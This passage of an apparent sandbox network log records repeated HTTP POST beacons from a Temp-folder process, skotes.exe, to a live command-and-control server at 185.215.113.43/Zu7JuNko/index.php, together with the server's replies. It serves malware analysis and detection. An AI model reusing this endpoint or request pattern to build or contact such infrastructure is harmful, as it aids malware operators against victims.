Nov 13, 2024 18:11:43.413703918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50306	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:44.939898014 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:45.861556053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50307	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:47.646728039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:48.559942961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50308	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:50.080854893 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:50.995825052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50309	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:52.616389990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:53.521975040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50310	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:55.046392918 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:55.963172913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50313	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:57.593041897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:58.509162903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50314	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:00.045947075 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:00.961796999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50317	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:02.594219923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:03.505964994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50319	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:05.018292904 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:05.923564911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50321	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:07.561995983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:08.461808920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50322	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:09.985548973 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:10.910681009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50323	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:12.550256014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:13.478279114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50325	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:14.999170065 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:15.916311979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50326	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:17.531708956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:18.425762892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50327	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:19.941021919 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:20.850779057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50328	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:22.492271900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:23.404814959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50330	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:24.923542976 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:25.860398054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50331	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:27.500509024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:28.411206007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50332	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:29.940639973 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:30.859798908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50333	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:32.495274067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:33.406163931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50335	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:34.925220966 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:35.846270084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50336	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:37.468452930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:38.385987997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50337	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
